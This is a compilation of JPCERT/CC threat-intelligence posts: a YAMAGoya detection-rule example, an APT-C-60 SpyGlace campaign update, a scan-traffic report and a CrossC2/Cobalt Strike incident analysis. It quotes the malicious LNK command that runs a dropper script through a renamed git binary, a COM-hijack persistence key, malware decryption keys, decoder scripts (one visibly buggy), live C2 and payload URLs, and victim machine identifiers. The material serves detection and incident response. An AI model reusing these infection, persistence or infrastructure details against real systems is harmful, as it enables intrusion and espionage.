  - rule: The pattern or value to match (For regex rules, a valid regular expression)

You can use the following event categories for target(Table 1).

Table 1: List of “target”
Target name	Description
file	File creation events
delfile	File deletion events
process	Process events
open	OpenProcess
load	DLL load events
registry	Registry events
dns	DNS events
ipv4	IPv4 network events
ipv6	IPv6 network events
shell	Shell-related events (RunKey, shortcuts)
powershell	PowerShell execution events
wmi	WMI command execution events

By default, an alert is raised if all rules listed in a single file are observed within 10 seconds. For example, you can create a rule that detects malware when a file is created, a process is executed, a DLL is loaded, and network communication occurs. In this way, custom YAML rules are effective for detection by correlating multiple activities.

rulename: "ANEL"
description: "Detects ANEL from maldoc type"
rules:
  - ruletype: "regex"
    target: "file"
    rule: "Tmp\\.docx$"
  - ruletype: "regex"
    target: "process"
    rule: "ScnCfg32\\.Exe$"
  - ruletype: "regex"
    target: "dll"
    rule: "vsodscpl\\.dll$"
  - ruletype: "regex"
    target: "file"
    rule: "TCDolW0p\\.log$"
  - ruletype: "ipv4"
    target: "ipv4"
    rule: "45.32.116.146"

Checking logs

When using the GUI, you can view logs in the Alert tab. From Open Log File in Alert tab, you can also check the text log (Figure 2).

Figure 2: YAMAGoya's Alert tab

Alerts are also stored in the Event Log (Application). Table 2 lists the event IDs that YAMAGoya records.

Table 2: List of Event Log IDs recorded by YAMAGoya (Application)
Event ID	Main trigger condition
8001	Detection by a custom YAML rule
8002	Partial match with a custom YAML rule (debug message)
8003	Termination of a process detected by a custom YAML rule (when Kill mode is active)
8005	WinRM outbound communication
8006	WinRM inbound communication
8008	Security Mitigations event detection
8009	Security Adminless event detection
8011	Security CVE event detection
8012	SMB server authentication detection
8013	SMB server file share detection
8014	SMB server file share addition detection
8015	SMB client connection failure
8016	SMB client file transfer
8017	ETW session start
8018	ETW session stop
9001	Detection by a Sigma rule
9002	Termination of a process detected by a Sigma rule (when Kill mode is active)

Figure 3: YAMAGoya alerts recorded in the event log

In closing

Because YAMAGoya can use publicly available signatures such as Sigma and YARA, it enables security teams to use the community’s knowledge for security measures. Please use the tool for threat hunting and incident response. We welcome Pull Request and any other requests for features.

Shusei Tomonaga
(Translated by Takumi Nakano)

FAQ

Q1. Can YAMAGoya replace traditional antivirus software?

A. No. YAMAGoya is not a replacement for antivirus software but a complementary tool. Since the tool has no default detection rule, you first need to collect or create detection rules.

Q2. Can I run YAMAGoya in the background?

A. Yes. It can reside in the system tray and monitor in the background. When it detects something based on your configured rules, it will notify you and output logs.

Q3. Can I integrate YAMAGoya with existing SIEMs?

A. Yes. YAMAGoya outputs logs as text and to the Event Log (Application). You can import those outputs to SIEMs such as Splunk using log collection agents or forwarding functions.

Q4. Are there limitations for countermeasures against ETW bypass (evasion technique)?

A. Yes. At present, there is no dedicated measure for ETW bypass. Advanced attackers may disable or compromise ETW to evade detection. We recommend using YAMAGoya together with EDR and other monitoring tools to implement a layered defense.

Update on Attacks by Threat Group APT-C-60

2025-11-05T04:30:00Z

In JPCERT/CC Eyes, we previously reported on attacks conducted by Attack Exploiting Legitimate Service by APT-C-60. JPCERT/CC continues to observe similar attack activities in Japan. This report provides an update on the attacks confirmed between June and August 2025, focusing on developments since our last article. The following topics are covered:

Attack flow
Updates to the downloader and SpyGlace
SpyGlace encoding functions and communication methods
Decoy documents used in the attacks
Analysis of the GitHub repository

Attack Flow

The attacks confirmed by JPCERT/CC were targeted spear-phishing emails sent to recruitment staff, in which the attackers impersonated job seekers. This pattern is closely similar to attacks that occurred around August 2024. Figure 1 shows the flow of the attack. In the previous attacks, victims were directed to download a VHDX file from Google Drive. However, in the latest attacks, the malicious VHDX file was directly attached to the email. When the recipient clicks the LNK file contained within the VHDX, a malicious script is executed via Git, which is a legitimate file.

Figure 1: Flow of malware infection

The LNK file executes gcmd.exe (a legitimate Git file), and it runs the script glog.txt stored in the VHDX file.

P:\LICENSES.LOG\mingw64\bin\gcmd.exe "cd .\LICENSES.LOG\mingw64\bin && type glog.txt | gcmd.exe" && exit

The script executed by Git is responsible for displaying a decoy document, creating files, and executing those files. The created WebClassUser.dat (hereafter referred to as “Downloader1”) is registered in the registry as shown below, and then it gets persisted and executed through COM hijacking.

HKCU\Software\Classes\CLSID\{566296fe-e0e8-475f-ba9c-a31ad31620b1}\InProcServer32

Updates to Downloader1 and Downloader2

For attackers to identify compromised devices, Downloader1 periodically communicates with a legitimate statistics service called statcounter. The request headers are created in the following format. Compared to earlier versions, the current one is different in that it identifies compromised machines by their volume serial number and computer name.

Referer: ONLINE=>[Number1],[Number2] >> [%userprofile%] / [VolumeSerialNumber + ComputerName]

Downloader1 combines a filename derived from the volume serial number and the computer name with a URL embedded in the malware sample to generate a path in the following format, and it is used for communication.

https://raw.githubusercontent.com/carolab989/class2025/refs/heads/main/[VolumeSerialNumber + ComputerName].txt

The attackers check the referrer value sent to statcounter and then upload a file named "[VolumeSerialNumber + ComputerName].txt" corresponding to the infected device to GitHub. DownLoader1 then retrieves that file from GitHub. Based on the URL in the retrieved file, DownLoader2 is downloaded and executed. In addition to specifying the download URL, the "[VolumeSerialNumber + ComputerName].txt" can execute the following commands in Table 1. For example, the command "1*" can change the interval at which a GET request is sent to statcounter.com from the default of one hour to six hours. Such capability indicates the attackers’ intent to monitor the victim environment more cautiously.

Table 1: Commands of the downloader

Command	Contents
"1*"	Change the interval settings
"0" or "40"	Reset the interval settings
"http*"	Download DLL

Like earlier versions, the retrieved files are XOR-decoded and then executed using "sgznqhtgnghvmzxponum" as the key. Downloader2 can download and execute SpyGlace and its loader. The malware’s dynamic API resolution uses an encoding scheme based on ADD and XOR. The value has changed from earlier versions, and now XOR 0x05 is performed after add 0x04. The SpyGlace loader uses the same encoding scheme. As in earlier versions, files retrieved by Downloader2 are XOR-decoded with the key "AadDDRTaSPtyAG57er#$ad!lDKTOPLTEL78pE" and then executed by COM hijacking.

Updates to SpyGlace

JPCERT/CC has observed three versions of SpyGlace: 3.1.12, 3.1.13, and 3.1.14. Compared with Version 3.1.6, which was observed by JPCERT/CC in 2024, the previously implemented commands prockill and proclist have been modified to perform no action. JPCERT/CC also confirmed a new command, uld, has been added. The command calls a specific function of a loaded module and then unloads the module two seconds after that. This is possibly intended for modules that must execute a specific function before being unloaded. Additionally, in the screenupload command, the file path and the export function name for what appears to be a screenshot-related module have been changed to those shown below. Since the Clouds.db module itself has not been observed, its functionality is unknown, but it is believed to be related to the screenshot command. For a full list of implemented commands, see Appendix D.

File path: %LocalAppData%\Microsoft\Windows\Clouds\Clouds.db
Export Function: mssc1

There are slight differences among the observed versions, 3.1.12, 3.1.13, and 3.1.14. However, JPCERT/CC confirmed that the Mutex value is different between them. From version 3.1.14, the automatic execution path has also changed from %public%\AccountPictures\Default\ to %appdata%\Microsoft\SystemCertificates\My\CPLs. An article published in September 2025 [1] describes a campaign in which version 3.1.14 was used, but this is likely a separate campaign observed overseas because the GitHub repositories and other resources used in the campaign do not overlap with those observed by JPCERT/CC.

Details of SpyGlace’s Encoding Functions and Communication Methods

SpyGlace’s characteristic encoding scheme combines a single-byte XOR with a SUB instruction. This is heavily used for strings the malware employs and for resolving dynamic APIs. The "Download" command, one of SpyGlace’s commands, downloads an encrypted file. The file is decrypted using AES-128-CBC with the KEY and IV shown below and is created to the path %temp%\wcts66889.tmp. Figure 2 shows a part of the Download command code.

KEY: B0747C82C23359D1342B47A669796989
IV: 21A44712685A8BA42985783B67883999

Figure 2: Part of Download command code

SpyGlace communicates with its C2 servers using BASE64 and RC4. The format of the request headers used in the initial communication is shown below. The a001 value contains the userid value "GOLDBAR", and it is the same string reported by Positive Technologies [2] and was also used in attacks observed in Japan last year, suggesting that it may indicate the targeted region or a specific campaign. Regarding encoding scheme, SpyGlace has employed a modified RC4 since at least version 3.1.6.

a001=[md5("GOLDBAR")]&a002=[md5(systeminfo)]&a003=["uid" or "info"]&a004=[BASE64(CustomRC4([ComputerName;UserName;CpuInfo;OS Version;SpyGlace Version]))]

The modified RC4 increases the number of KSA cycles and performs additions to the value that is to be XORed. The variant can be decoded with the following Python script.

import base64

def CustomRC4(key: bytes, data: bytes) -> bytes:
    # --- KSA ---
    S = list(range(256))
    n = 3
    for round in range(n):
        j = 0
        keylen = len(key)
        if keylen == 0:
            raise ValueError("key must be non-empty")
        for i in range(256):
            j = (j + S[i] + key[i % keylen]) & 0xFF
            S[i], S[j] = S[j], S[i]

    # --- PRGA ---
    i = j = 0
    out = []
    for b in data:
        i = (i + 1) & 0xFF
        j = (j + S[i]) & 0xFF
        k = S[(S[i] + j) & 0xFF]
        S[i], S[j] = S[j], S[i]
        k2 = S[((S[((i >> 3) ^ (0x20 * j)) & 0xFF] + S[((0x20 * i) ^ (j >> 3)) & 0xFF]) ^ 0xAA) & 0xFF] + S[(S[j] + S[i]) & 0xFF]
        out.append( (b ^ k ^ k2) & 0xFF )
    return bytes(out)


def decode(base64in):
    key = b"90b149c69b149c4b99c04d1dc9b940b9"
    decoded = CustomRC4(key, base64.b64decode(base64in))
    print("Result: ", decoded)

Decoy Document Used

Figure 3 shows a part of the decoy document used in this campaign. Because the attackers targeted recruitment officers, the fabricated resume disguise the writer as a researcher and list multiple academic papers in the CV. However, the authors of those papers do not include the name of the email sender. The name on the resume partially matches the Gmail account name used by the sender, suggesting that the attackers may have created the account specifically for this attack.

Figure 3: Part of the used decoy document

Analysis of GitHub Repositories

Because the attackers use GitHub to distribute their payloads, all payloads distributed in the past can be retrieved unless the repository is deleted. Table 2 shows the uploaded SpyGlace versions and the periods during which they were available on GitHub.

Table 2: Upload dates of each SpyGlace version on GitHub

SpyGlace Version	Upload Date & Time
Version 3.1.12	Fri Jun 27 14:33:28 2025 +0900
Version 3.1.13	Thu Jul 3 18:25:18 2025 +0900
Version 3.1.14	Wed Jul 16 15:03:52 2025 +0900

JPCERT/CC has identified email addresses recorded in the commit logs of the GitHub repository managed by the attackers, as well as information on compromised devices composed of their volume serial numbers and computer names. The details are provided for reference in Appendices E and F.

In Closing

As with previous cases, attacks by APT-C-60 continue to primarily target Japan and other East Asian regions. While several changes have been identified, such as a shift in infrastructure from Bitbucket to GitHub and updates to the malware itself, many characteristics remain consistent, including the abuse of legitimate services and the behavior of the malware. JPCERT/CC recommends remaining alerted to this threat. C2 and hash values of the confirmed malware are listed in the Appendix. Please note that the C2 information includes legitimate services.

Yuma Masubuchi (Translated by Takumi Nakano)

References

[1] Sangfor 【高级威胁追踪(APT)】深入分析“伪猎者”组织Github仓库加密载荷
https://mp.weixin.qq.com/s/A1UhFfqnGRLsEZywvaQA4A

[2] Positive Technologies DarkHotel. A cluster of groups united by common techniques
https://global.ptsecurity.com/en/research/pt-esc-threat-intelligence/darkhotel-a-cluster-of-groups-united-by-common-techniques/

Appendix A: IoC Network

https[:]//c.statcounter[.]com/13139439/0/1ba1a548/1/
https[:]//raw.githubusercontent[.]com/carolab989/class2025//refs/heads/main/
https[:]//raw.githubusercontent[.]com/football2025/class2025//refs/heads/main/
https[:]//raw.githubusercontent[.]com/fenchiuwu/class2025/refs/heads/main/
http[:]//raw.githubusercontent[.]com/Ridgley22387/r834829jf/refs/heads/main/datapages.txt
http[:]//raw.githubusercontent[.]com/Ridgley22387/r834829jf/refs/heads/main/datautils.txt
https[:]//bitbucket[.]org/clouds999/glo29839/downloads/
https[:]//raw.githubusercontent[.]com/goldbars33/ozbdkak33/refs/heads/main/
https[:]//185.181.230[.]71/wkdo9/4b3ru.asp
https[:]//185.181.230[.]71/wkdo9/t1802.asp
https[:]//185.181.230[.]71/wkdo9/n3tb4.asp
https[:]//185.181.230[.]71/wkdo9/2qpmk.asp

Appendix B: IoC File

Table 3: List of IoC Files

Content	Filename	Hash(SHA256)
Malicious VHDX	CV & Professional Experience.vhdx	f42d0fa77e5101f0f793e055cb963b45b36536b1835b9ea8864b4283b21bb68f
Malicious LNK	Resume.rtf.lnk	25f81709d914a0981716e1afba6b8b5b3163602037d466a02bc1ec97cdc2063b
Part of Downloader1	wic60.ds	ea37dfa94a63689c1195566aab3d626794adaab4d040d473d4dfbd36f1e5f237
Part of Downloader1	wic400.ds	a80848cf7d42e444b7ec1161c479b1d51167893f47d202b05f590ad24bf47942
Part of Downloader1	wic900.ds	1e931c8aa00b7f2b3adedc5260a3b69d1ac914fe1c022db072ed45d7b2dddf6c
Dropper Script	glog.txt	c9c6960a5e6f44afda4cc01ff192d84d59c4b31f304d2aeba0ef01ae04ca7df3
Downloader1	WebClassUser.dat	f102d490ad02b1588b9b76664cd715c315eaab33ac22b5d0812c092676242b15
DownLoader2	WebCacheR.tmp.dat	57a77d8d21ef6a3458763293dbe3130dae2615a5de75cbbdf17bc61785ee79da
DownLoader2	WebCacheR.tmp.dat	9e30df1844300032931e569b256f1a8a906a46c6a7efa960d95142d6bea05941
git.exe(Legitimate)	gcmd.exe	96312254d33241ce276afc7d7e0c7da648ffe33f3b91b6e4a1810f0086df3dba
SpyGlace version 1.3.12	datautils.txt	669c268e4e1ced22113e5561a7d414a76fcd247189ed87a8f89fbbd61520966a
SpyGlace version 1.3.13	datautils.txt	f96557e8d714aa9bac8c3f112294bac28ebc81ea52775c4b8604352bbb8986b8
SpyGlace version 1.3.14	datautils.txt	8b51939700c65f3cb7ccdc5ef63dba6ca5953ab5d3c255ce3ceb657e7f5bfae8
SpyGlace Loader	datapages.txt	d535837fe4e5302f73b781173346fc9031d60019ea65a0e1e92e20e399a2f387
SpyGlace Loader	datapages.txt	6d8a935f11665850c45f53dc1a3fc0b4ac9629211bd4281a4ec4343f8fa02004
Downloader2	coninst3110.dat	d287dc5264fd504b016ec7e424650e2b353946cbf14d3b285ca37d78a6fda6f4
Loader	constart3110.dat	10278a46b13797269fd79a5f8f0bc14ff1cc5bc0ea87cdd1bbc8670c464a3cf1
Downloader1	ingredient.txt	156df8c8bea005bd7dc49eb7aca230ef85ada1c092e45bb3d69913d78c4fa1f9
Loader Scrpt	UsrClass.sct	7ae86f2cb0bbe344b3102d22ecfcdda889608e103e69ec92932b437674ad5d2f
Loader Scrpt	UsrClass.sct	e8b3b14a998ce3640a985b4559c90c31a5d7465bc5be5c6962e487172d3c9094
Loader	intersection.txt	09fcc1dfe973a4dc91582d7a23265c0fd8fc2a011adb2528887c1e1d3a89075a
Downloader	opinsfile.dat	048b69386410b8b7ddb7835721de0cba5945ee026a9134d425e0ba0662d9aee4
Loader	constafile.dat	f495171e7a10fb0b45d28a5260782a8c1f7080bd1173af405476e8d3b11b21b6
Downloader	coninsfile.dat	8ea32792c1624a928e60334b715d11262ed2975fe921c5de7f4fac89f8bb2de5
Malicious VHDX	CV & Professional Experience.vhdx	94ccdaf238a42fcc3af9ed1cae1358c05c04a8fa77011331d75825c8ac16ffd8
Dropper Script	volumelog.txt	299d792c8d0d38d13af68a2467186b2f47a1834c6f2041666adafc626149edaf
Part of Downloader1	vol60.dot	ea37dfa94a63689c1195566aab3d626794adaab4d040d473d4dfbd36f1e5f237
Part of Downloader1	vol400.dot	94f6406a0f40fb8d84ceafaf831f20482700ee1a92f6bca1f769dff98896245c
Part of Downloader1	vol900.dot	45c1c79064cef01b85f0a62dac368e870e8ac3023bfbb772ec6d226993dc0f87
Downloader1	UsrClassCache.dat	50b40556aa7461566661d6a8b9486e5829680951b5df5b7584e0ab58f8a7e92f
Malicious LNK	Resume.rtf.lnk	5da82fa87b0073de56f2b20169fa4d6ea610ed9c079def6990f4878d020c9d95

Appendix C: Other IoC

Table 4: Other IoC

Content	Value
Mutex	K31610KIO9834PG79A90B
Mutex	K31610KIO9834PG79AD7B
Mutex	K31610KIO9834PG79A44A
CLASSID	{566296fe-e0e8-475f-ba9c-a31ad31620b1}
CLASSID	{64B8F404-A4AE-11D1-B7B6-00C04FB926AF}
File path	%userprofile%\AppData\Local\Microsoft\Windows\WebClassUser.dat
File path	%localappdata%\Microsoft\Windows\WebCache\WebCacheR.tmp.dat
File path	%userprofile%ppdata\local\Microsoft\GameDVR\data\GameList.dat
File path	%userprofile%ppdata\local\Microsoft\GameDVR\data\DataCache.dat
File path	%temp%\wcts66889.tmp
File path	%localappdata%\Microsoft\Windows\UsrClassCache.dat
File path	%localappdata%\Microsoft\Windows\UsrClassLib.dat
File path	%userprofile%ppdata\local\Microsoft\Edge\cache\Config.dat
File path	%userprofile%ppdata\Local\Microsoft\Windows\UsrClassCache.dat
File path	%userprofile%ppdata\local\Microsoft\Edge\cache\Cache.dat

Appendix D: Commands

Table 5: List of SpyGlace commands

Command	Contents
turn on	Change the interval settings
turn off	Reset the interval settings
cd	Change directory
ddir	List of the files in the directory
ddel	Delete file and directory
ld	Load module
uld	unload module
attach	Start module
detach	Stop module
procspawn	Start process
prockill	None
proclist	None
diskinfo	Get disk information
download	Download encrypted file
downfree	Download file
cancel	Remote shell
screenupload	Upload screenshot
screenauto	Upload screenshot automatically
upload	Upload file

Appendix E: Email address used for the commit

kithatart@outlook.com
magnolia099@163.com
carolab989@proton.me
fenchiuwu@proton.me
Ridgley223870@proton.me

Appendix F: Victimized devices identified from the GitHub repository

1014988494f04da28046ba
1020301627MBE4OSU
2096821130DESKTOP-BN9A2SA
2958455713DESKTOP-NKVAKV1
4205732935******(Names have been masked as they may contain personal information)
3761538073DESKTOP-PVKDUAM
3537034124JKS
3472318429******(Names have been masked as they may contain personal information)
1620260207DESKTOP-6LO36DE
1347261043DESKTOP-0V7K7HA
2352730816DESKTOP-4QC5J5Q
3362573326DESKTOP-43R2GH0

TSUBAME Report Overflow (Apr-Jun 2025)

2025-10-28T05:00:00Z

Fluctuations in packets from Iran, potentially linked to Israel-Iran military conflict

Between June 13 and around June 25, 2025, military conflict occurred between Israel and Iran. During this period, fluctuations were observed in packets originating from Iran. This section focuses on these changes. Figure 1 shows the number of unique IP addresses per day originating from Iran and Israel during June.

Figure 1: Trends in the number of IP addresses from Israel and Iran

The number of IP addresses associated with packets originating from Iran typically ranged between 170 and 200 every day. However, from around June 13 to June 18, this number dropped to approximately 100 to 130. A more significant decrease was observed from June 19 to June 27, when the number temporarily dropped to between 20 and 100. In contrast, the number of IP addresses originating from Israel showed no notable changes during the same period. Some media sources reported that, around June 18, cyber attacks targeted Iran’s state broadcaster, banks, and cryptocurrency exchanges. It was also reported that the Iranian government temporarily restricted Internet connectivity to mitigate the impact of these attacks, and the decline in the number of source IP addresses was likely due to this disruption.

Comparison of the observation trends in Japan and overseas

Figure 2 is a monthly comparison of the average number of packets received in Japan and overseas. While overseas sensors received more packets than those in Japan, both of them recorded the highest number in April, with a gradual decrease in the following months.

Figure 2: Monthly comparison of the average number of packets received in Japan and overseas

Comparison of monitoring trends by sensor

A global IP address is assigned to each TSUBAME sensor. Table 1 shows the top 10 ports of each sensor which received packets the most. Although the order is different in each sensor, almost all the sensors observed the packets for 22/TCP, 23/TCP, 80/TCP, 443/TCP, and 8080/TCP. This suggests that these protocols are being scanned in a wide range of networks.

Table 1: Comparison of top 10 packets by domestic and overseas sensors

	Japan #1	Japan #2	North America #1	North America #2	Europe #1	Europe #2	Other regions #1	Other regions #2
#1	23/TCP	23/TCP	80/TCP	80/TCP	23/TCP	23/TCP	23/TCP	23/TCP
#2	443/TCP	8728/TCP	22/TCP	ICMP	443/TCP	22/TCP	80/TCP	80/TCP
#3	80/TCP	80/TCP	8728/TCP	443/TCP	80/TCP	8728/TCP	8728/TCP	8728/TCP
#4	8443/TCP	22/TCP	23/TCP	23/TCP	22/TCP	80/TCP	22/TCP	443/TCP
#5	8728/TCP	ICMP	443/TCP	8728/TCP	8728/TCP	34567/TCP	443/TCP	22/TCP
#6	22/TCP	443/TCP	8080/TCP	22/TCP	445/TCP	ICMP	ICMP	ICMP
#7	ICMP	81/TCP	ICMP	8080/TCP	ICMP	443/TCP	8080/TCP	8080/TCP
#8	8080/TCP	8080/TCP	3389/TCP	6379/TCP	8080/TCP	81/TCP	81/TCP	81/TCP
#9	81/TCP	5555/TCP	445/TCP	3389/TCP	1433/TCP	8080/TCP	5555/TCP	5555/TCP
#10	6379/TCP	3389/TCP	81/TCP	81/TCP	6379/TCP	445/TCP	6379/TCP	6379/TCP

In closing

Keisuke Shikano

(Translated by Takumi Nakano)

CrossC2 Expanding Cobalt Strike Beacon to Cross-Platform Attacks

2025-08-14T05:00:00Z

From September to December 2024, JPCERT/CC has confirmed incidents involving CrossC2, the extension tool to create Cobalt Strike Beacon for Linux OS. The attacker employed CrossC2 as well as other tools such as PsExec, Plink, and Cobalt Strike in attempts to penetrate AD. Further investigation revealed that the attacker used custom malware (hereafter referred to as "ReadNimeLoader") as a loader for Cobalt Strike. Information submitted to VirusTotal suggests that this attack campaign may have been observed across multiple countries, not only in Japan. This article explains CrossC2 and Cobalt Strike, the malware used in the campaign, as well as other tools employed by the attacker. A tool released by JPCERT/CC to support the analysis of CrossC2 is also introduced at the end.

CrossC2

CrossC2 is an unofficial Beacon and builder compatible with Cobalt Strike version 4.1 and above, developed in C language. It is designed to operate on Linux (x86, x64) and macOS (x86, x64, M1) architectures. While the builder is publicly available on GitHub[1], allowing users to create Beacons, the source code for both the builder and the Beacon are not released.

Upon execution, CrossC2 immediately forks itself, and the main processing is carried out in the child process. The C2 information is retrieved from the configuration, while the C2 server host and port number can also be obtained from the environment variables "CCHOST" and "CCPORT". Once executed, CrossC2 is capable of executing various Cobalt Strike commands after establishing communication with the Cobalt Strike TeamServer. However, the range of executable commands is limited compared to the full functionality of standard Cobalt Strike. The Beacon contains the following multiple anti-analysis features:

String encoding using single-byte XOR
Insertion of a large amount of junk code

Figure 1 shows a part of the inserted junk code. A significant amount of such code is embedded in key functions. However, the obfuscation can be easily removed by replacing the following byte sequence with NOP instruction.

8B 85 ?? ?? ?? ?? 2D ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? E9 00 00 00 00

Figure 1: A part of obfuscated code in CrossC2

The configuration data is stored at the end of the file. CrossC2 first retrieves its own file path using the readlink function and then fread its own code. It keeps searching for the string "HOOK" to locate the address of the configuration data. The structure of the configuration is as shown below. The encrypted configuration data can be decrypted using AES128-CBC(no padding). CrossC2 uses OpenSSL library functions to perform the decryption.

0x0: "HOOK" search tag
0x4: Size of the configuration data
0x8: Encrypted configuration data

CrossC2 can create Beacon using legitimate TeamServer extensions. By default, the generated Beacon is packed with UPX, but attempting to unpack it with UPX fails due to the configuration information at the end of the file. To unpack the Beacon successfully, the configuration block must first be removed. After unpacking using UPX, the configuration block needs to be reinserted at the end.

Cobalt Strike

Figure 2 illustrates the flow of Cobalt Strike execution. The process is initiated by a legitimate java.exe file, which is executed from a Task Scheduler job registered by the attacker. This java.exe loads jli.dll through DLL sideloading. The DLL file is ReadNimeLoader, which is written in Nim language. ReadNimeLoader reads a data file named readme.txt from the same directory, decrypts it, and executes its content in memory. This file contains OdinLdr[2], an open-source Shellcode-format loader, which decodes the embedded Cobalt Strike Beacon and executes it in memory. All related files, including ReadNimeLoader, were located under "C:\$recycle.bin\" on the affected system. In addition, some ReadNimeLoader samples were found to contain the following PDB path.

D:\BuildServer\bna-4\work-git\phoenix-repository\phoenix\Release\Battle.net Launcher.exe.pdb

Figure 2: Flow of Cobalt Strike execution

ReadNimeLoader

ReadNimeLoader incorporates the following four anti-analysis techniques:

Detect debugging by checking BeingDebugged value in PEB
Detect debugging by checking CONTEXT_DEBUG_REGISTER value
Measure the difference of elapsed time and proceed to debag checking when the value exceeds 0x512
Detect debugging by causing an exception and checking whether an exception handler is obtained

A part of the decryption key required to decode OdinLdr is embedded within the functions for the abovementioned anti-analysis techniques. As a result, unless these functions are executed, the correct decryption key is not generated, and OdinLdr cannot be decrypted. In addition to these anti-analysis mechanisms, a large amount of junk code is also inserted. Figure 3 shows a part of the code.

Figure 3: A part of junk code

Strings used by ReadNimeLoader are encoded, and they are decoded using two distinct XOR-based decoding functions. Figure 4 shows a portion of each code.

Figure 4: Each decoding function

The encoded strings can be decoded using the Python script shown below. In earlier versions of ReadNimeLoader do not contain the decode02 function, indicating that it was added in a later version.

def BYTE1(in_data):
    return (in_data >> 8) & 0xff


def BYTE2(in_data):
    return (in_data >> 16) & 0xff


def BYTE3(in_data):
    return (in_data >> 24) & 0xff


def decode02(enc_bytes, xor_key):
    result = []
    for enc_byte in enc_bytes:
        enc_byte ^= BYTE3(xor_key) & 0xEE ^ BYTE2(xor_key) & 0xEE ^ (xor_key ^ BYTE1(xor_key)) & 0xEE
        result.append(i)
        enc_byte += 1
    return result


def decode01(enc_bytes, xor_key):
    xor_table = [ 0, 8, 0x10, 0x18]
    result = []
    for enc_byte in enc_bytes:
        for j in range(4):
            enc_byte ^= ((xor_key >> xor_table[j]) & 0xEE)
        result.append(i)
    return result

ReadNimeLoader uses AES256-ECB mode to decrypt the malware payload. The key is created by combining specific strings decoded by the aforementioned decoding functions, which is then converted into hexadecimal format, transformed to uppercase, and zero-padded. This decryption can be performed using the following Python script:

from Crypto.Cipher import AES
import binascii

def ZeroPadding(hexstr, num):
    padding_num = num - len(hexstr)
    if padding_num < 0:
        return hexstr
    return  hexstr + b"\x00" * padding_num


def decrypt(readme_data, key_string):
    capitalized_key = binascii.hexlify(ascii_to_bytes(key_string)).upper()
    key = ZeroPadding(capitalized_key, 32)
    Cipher = AES.new(key, AES.MODE_ECB)
    return Cipher.decrypt(readme_data)

OdinLdr

After execution, OdinLdr decrypts the internally encoded Cobalt Strike Beacon and runs it in memory. To avoid detection, the Beacon is periodically re-encrypted using a randomly generated XOR key and stored in newly allocated heap memory. It is a distinctive characteristic that there is the string "OdinLdr1337" at the beginning of the heap memory. Additionally, it has been confirmed that there are two types of Shellcode deployed by ReadNimeLoader: some samples execute the Cobalt Strike Beacon through OdinLdr, while others run the Beacon directly. Appendix B outlines the relations between ReadNimeLoader versions and their corresponding decryption keys, the specific readme.txt files loaded, and the encoded malware payloads. A part of the Cobalt Strike configuration used is included in the appendix.

Tools used by the attacker

Among the tools used by the attacker, multiple ELF versions of SystemBC were identified. For more information on the differences from the Windows version of SystemBC, please refer to the report by ANY.RUN [3]. Other confirmed tools include PsExec, commonly used for lateral movement; GetNPUsers [4], often leveraged in AS-REP Roasting attacks; Plink, an SSH client tool; and privilege escalation tools for Windows systems.

Attribution

Despite architectural differences, confirmed identical characteristics suggest that this attacker and the attack campaign have a potential connection to BlackBasta. More specifically, the domain confirmed to be used for the C2 in this campaign matches the one listed in Rapid7’s report on BlackBasta [5]. Further similarities include the use of the files named jli.dll and readme.txt. Additionally, SystemBC was leveraged, and when attacking AD, AS-REP was also used.

Tools for analyzing CrossC2

As an analysis tools for CrossC2, a configuration parser is publicly available on JPCERT/CC’s GitHub.

GitHub: JPCERTCC/aa-tools/parse_crossc2beacon_config.py
https://github.com/JPCERTCC/aa-tools/blob/master/parse_crossc2beacon_config.py

CrossC2 can generate binaries for macOS, not only for Linux, and this parser is designed to support macOS binaries as well. Figure 5 shows a sample output from running the configuration parser.

Figure 5: Sample output of the configuration parser

In Closing

While there are numerous incidents involving Cobalt Strike, this article focused on the particular case in which CrossC2, a tool that extends Cobalt Strike Beacon functionality to multiple platforms, was used in attacks, compromising Linux servers within an internal network. Many Linux servers do not have EDR or similar systems installed, making them potential entry points for further compromise, and thus more attention is required. We hope the information provided in this article will be useful to you in incident response and malware analysis. For details on confirmed C2 servers and malware hash values, please refer to the Appendix.

Yuma Masubuchi (Translated by Takumi Nakano)

References

[1] CrossC2
https://github.com/gloxec/CrossC2

[2] OdinLdr
https://github.com/emdnaia/OdinLdr

[3] ANY.RUN
A new SystemBC RAT is targeting Linux-based platforms
https://x.com/anyrun_app/status/1884207667058463188

[4] GetNPUsers.py
https://github.com/fortra/impacket/blob/master/examples/GetNPUsers.py

[5] Rapid7
BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
https://www.rapid7.com/blog/post/2025/06/10/blacksuit-continues-social-engineering-attacks-in-wake-of-black-bastas-internal-conflict/

Appendix A: Example of CrossC2 configuration

C2: 162.33.179[.]247:8443
PUBLICKEY: 
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCaW
34Iv7znqVuomjiJn4Yr1ck9YSWylfAoiy20DnR0ab
CoHtdPK3L05CgOjnLGSfM5Vji0IRd8xtCGpU699Jt
FCa/Jg7zmuejilkKTFpMB36+49UQtaYp4KjFuImRC
z72NdzszsLzHDlVWAPmn5CSTfsTIzceomQfmCDY//
IygzQIDAQAB
-----END PUBLIC KEY-----

Appendix B: The relations between ReadNimeLoader and malware payloads

Table 1: The relations between ReadNimeLoader and malware payloads

ReadNimeLoader Hash(SHA256)	Version	Key	readme.txt Hash(SHA256)	Encoded Malware
56b941f6dcb769ae6d6995412559012abab830f05d5d8acf2648f7fa48c20833	New	toupper(to_hex("mfzuyqroasv")) + zero padding	6246fb5c8b714707ac49ade53e6fe5017d96442db393b1c0ba964698ae24245d	OdinLdr + CobaltStrike
dfe79b9c57cfb9fc10597b43af1c0a798991b6ceeec2af9b1e0ed46e6a8661c8	New	toupper(to_hex("vbewtdsmmswfweoz"))	acdf2a87ed03f2c6fe1d9899e8a74e8b56f7b77bb8aed5adf2cc374ee5465168	OdinLdr + CobaltStrike
3f96b6589996e57abc1c4d9b732528d2d11dea5c814f8241170c14ca2cd0281d	New	toupper(to_hex("lgehaoevolq")) + zero padding	6b80d602472c76b1d0f05bcce62e0a34de758232d9d570ba61b540784c663c01	CobaltStrike
0ab709728666f8759ad8db574d4009cf74ebce36ef2572ef52b058997a9b2a25	New	toupper(to_hex("ffjazoinsmsiywwt"))	3079a29575a0adff91f04c5493a7f3e1c89795e3a90cf842650cd8bd45c4e1bc	CobaltStrike
ecca3194613b0bab02059c3544fdc90f6d4af5a4c06518c853517eb1d81b9735	Old	toupper(to_hex("bcstctskmngpjjax"))	Unknown	Unknown
